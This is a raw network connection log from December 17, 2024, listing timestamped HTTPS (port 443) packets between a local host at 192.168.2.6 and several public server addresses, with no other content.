Dec 17, 2024 12:13:28.365988970 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.366002083 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.366353989 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.366367102 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.443337917 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:28.443372965 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:28.443523884 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:28.444299936 CET	49801	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:28.444313049 CET	443	49801	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:28.826251030 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.826492071 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.826749086 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.826762915 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.826881886 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.826903105 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.827867985 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.827949047 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.828450918 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.828543901 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.829375029 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.831213951 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.831293106 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.831448078 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.831464052 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.831828117 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.831948042 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.832287073 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.832295895 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.832360983 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.832379103 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.832524061 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.832763910 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.833981037 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.834206104 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.835467100 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.835480928 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.992039919 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.992055893 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.043327093 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.043529034 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.095449924 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.096276999 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.098330975 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.098356962 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.098650932 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.098663092 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.099526882 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.099592924 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.099601984 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.099644899 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.099781036 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.099831104 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.099838972 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.099993944 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.101763964 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.101833105 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.101958990 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.102072954 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.102487087 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.102494955 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.208337069 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.208349943 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.240967035 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.255388021 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.255470991 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.255523920 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.256144047 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.256227016 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.256278992 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.266419888 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.266499996 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.266566038 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.269815922 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.269855022 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.270283937 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.270308018 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.270562887 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.270596027 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.400187969 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:29.741908073 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.742383003 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.742449999 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.742886066 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.742902994 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.742958069 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.742980003 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.743031979 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.743634939 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.744844913 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.755026102 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.755055904 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.755438089 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.755614996 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.755937099 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.755964041 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.756280899 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.756304979 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.756397963 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.756408930 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.756479979 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.757908106 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.758205891 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.758333921 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.829675913 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.829691887 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:29.837673903 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:29.869874001 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.869956017 CET	443	49806	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.870028019 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.870605946 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.870654106 CET	443	49807	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.870878935 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.871431112 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.871462107 CET	443	49806	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.871798992 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.871814966 CET	443	49807	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.873114109 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:29.873155117 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:29.873327017 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:29.879677057 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:29.879697084 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:29.905880928 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.906234026 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.906235933 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.906496048 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.906517982 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.907583952 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.907649040 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.908278942 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.908322096 CET	443	49809	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.908437967 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.908593893 CET	49810	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.908632040 CET	443	49810	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.908694029 CET	49810	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.909239054 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.909256935 CET	443	49809	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.909497023 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.909579039 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.909657955 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.909686089 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.909826994 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.909871101 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.910160065 CET	49810	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.910187006 CET	443	49810	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.910271883 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.910285950 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.911231995 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.911304951 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.911566973 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.911640882 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.912895918 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.912987947 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.914108992 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.914217949 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.914361954 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.914380074 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:29.923320055 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:29.940813065 CET	49811	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.940859079 CET	443	49811	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.941035986 CET	49811	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.941709995 CET	49812	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.941711903 CET	49811	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.941731930 CET	443	49811	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.941742897 CET	443	49812	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.941890955 CET	49812	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.942090034 CET	49812	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.942112923 CET	443	49812	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.968331099 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:29.968338013 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:29.968343019 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:29.968353987 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.098622084 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.115374088 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.115458012 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.118591070 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118607044 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118639946 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118654013 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118660927 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118688107 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.118729115 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118750095 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.118757963 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.118782997 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.160976887 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.160990953 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161019087 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161031008 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161037922 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161052942 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161102057 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.161147118 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.161175966 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.208317041 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208329916 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208350897 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208359957 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208369017 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208388090 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.208394051 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208417892 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.208471060 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.208471060 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.332614899 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332633972 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332653999 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332660913 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332690954 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332709074 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.332704067 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.332770109 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.332797050 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.340467930 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.340540886 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.340607882 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.340795994 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:30.340874910 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:30.343092918 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:30.361723900 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.361733913 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.361784935 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.361807108 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.361815929 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.361833096 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.361852884 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.361871958 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.390753031 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.390768051 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.390816927 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.390886068 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.390902996 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.390965939 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.390995979 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.422595978 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.426784039 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.426999092 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.427021980 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.438376904 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.438463926 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.438482046 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.447813034 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.447895050 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.447910070 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.460486889 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.460599899 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.460616112 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.470407009 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:30.470432997 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:30.470855951 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.470890045 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.474220991 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.474293947 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.474322081 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.487643957 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.487765074 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.487780094 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.509990931 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.510051012 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.510090113 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.510117054 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.510149002 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.510176897 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.529973030 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.530025005 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.530071974 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.530100107 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.530145884 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.530147076 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.536077976 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.542943954 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.545949936 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.545998096 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.546029091 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.546037912 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.546080112 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.547475100 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.547537088 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.547549009 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.564954042 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.565007925 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.565078020 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.565094948 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.565129042 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.565155983 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.583807945 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.583846092 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.583973885 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.583990097 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.584065914 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.600075960 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.600128889 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.600241899 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.600276947 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.600311041 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.603112936 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.614798069 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.615138054 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.615159988 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.619290113 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.619368076 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.619415045 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.619430065 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.619504929 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.620134115 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.620181084 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.620207071 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.620219946 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.626336098 CET	49809	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.626425982 CET	49810	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.626542091 CET	49811	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.626652002 CET	49812	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.627563000 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.627619982 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.627820015 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.627834082 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.627921104 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.627995968 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.628134966 CET	49806	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:30.628300905 CET	49807	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:30.628300905 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.628501892 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.629009962 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.629060030 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.629060030 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.629129887 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.629215956 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:30.629368067 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:30.629425049 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.629532099 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.629547119 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.629740953 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.629774094 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.629837036 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.629856110 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.630189896 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.630321026 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:30.630398989 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:30.643142939 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:30.645200014 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:30.645231962 CET	443	49795	142.250.181.65	192.168.2.6
